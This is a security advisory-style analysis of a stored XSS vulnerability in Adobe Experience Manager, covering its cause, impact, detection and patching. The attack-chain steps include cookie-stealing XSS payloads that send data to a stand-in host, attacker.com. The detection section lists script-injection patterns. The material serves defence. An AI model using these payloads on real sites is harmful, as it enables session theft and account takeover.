CVE-2025-46948: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-46948 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. When a victim browses to a page containing the manipulated field, the injected JavaScript executes in their browser. Affected versions include AEM 6.5.22 and earlier (on-premise) and AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch available as of June 13, 2025. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory, Feedly).

The root cause is improper neutralization of user-supplied input during web page generation (CWE-79), specifically in form fields within Adobe Experience Manager. A low-privileged authenticated attacker can submit a crafted payload into a vulnerable form field; the application fails to sanitize or encode the input before storing and rendering it, allowing the script to persist and execute in any victim's browser that loads the affected page. This is a stored (persistent) XSS variant, meaning the malicious payload is saved server-side and delivered to all subsequent visitors without requiring further attacker interaction. The attack vector is network-based, requires low privileges, and necessitates user interaction (a victim visiting the page) (Adobe Advisory, Feedly).

Successful exploitation allows an attacker to execute unauthorized JavaScript in a victim's browser, potentially enabling session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and defacement or integrity compromise of AEM-hosted web pages. The changed scope (S:C) in the CVSS vector indicates the impact extends beyond the vulnerable component to the victim's browser context. While availability is not directly impacted, confidentiality and integrity are both affected at a low level per the CVSS assessment (Adobe Advisory, Feedly).

As of the time of disclosure, there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported (Feedly).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.22 or earlier (on-premise) or AEM Cloud Service prior to 2025.5.0. Obtain a low-privileged user account on the target AEM instance.
2. Identify vulnerable form fields: Log in with the low-privileged account and navigate through AEM authoring interfaces or public-facing forms to locate input fields that are stored and rendered back to users without proper sanitization.
3. Craft XSS payload: Prepare a malicious JavaScript payload, such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an event-handler-based variant (e.g., <img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>).
4. Inject payload: Submit the crafted payload into the vulnerable form field and save/publish the content so it is stored server-side.
5. Victim triggers execution: When an authenticated victim (e.g., an AEM administrator or site visitor) browses to the page containing the injected field, the malicious script executes in their browser, potentially exfiltrating session cookies or performing actions on their behalf (Adobe Advisory, Feedly).

• Logs: AEM access logs showing POST requests to form submission endpoints from low-privileged accounts containing HTML/JavaScript tags or encoded script sequences (e.g., %3Cscript%3E, onerror=, javascript:).
• File System / Content Repository: Stored content in the AEM JCR repository containing unexpected <script> tags, event handler attributes (onerror, onload, onclick), or javascript: URIs in form field values.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after loading AEM-authored pages, potentially carrying cookie or session data as query parameters.
• Browser / Application: Unexpected JavaScript execution errors or redirects reported by users when visiting specific AEM pages; anomalous network requests visible in browser developer tools originating from AEM page loads (Feedly).

Adobe has released patches addressing this vulnerability: upgrade to AEM 6.5.23.0 or later for on-premise deployments, or AEM Cloud Service 2025.5.0 or later. As interim mitigations, administrators should implement strict input validation and output encoding on all AEM form fields, deploy a Content Security Policy (CSP) to restrict unauthorized script execution, and limit authoring privileges to trusted users. Regularly auditing and sanitizing user-submitted content stored in the JCR repository is also recommended (Adobe Advisory, Feedly).